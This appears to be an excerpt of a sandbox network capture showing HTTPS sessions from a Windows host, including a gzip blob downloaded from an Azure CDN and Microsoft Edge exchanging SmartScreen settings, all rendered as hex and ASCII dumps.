2024-11-21 23:11:52 UTC	577	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:52 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 5ce19410-001e-000a-3659-3c718e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T231152Z-178bfbc474b9fdhphC1NYCac0n000000022g00000000bup4 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:52 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-21 23:11:53 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-21 23:11:53 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-21 23:11:53 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-21 23:11:53 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-21 23:11:53 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-21 23:11:53 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-21 23:11:53 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-21 23:11:53 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-21 23:11:53 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49861	4.153.57.10	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:52 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiZWR4VkUvUGEvamxUT1ZBaDZheGRPZz09IiwgImhhc2giOiJ1alFsY3ovNUZhND0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-21 23:11:52 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-21 23:11:53 UTC	302	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:53 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-11-21 23:11:53 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-21 23:11:53 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-21 23:11:53 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-21 23:11:53 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-21 23:11:53 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-21 23:11:53 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-21 23:11:53 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-21 23:11:53 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
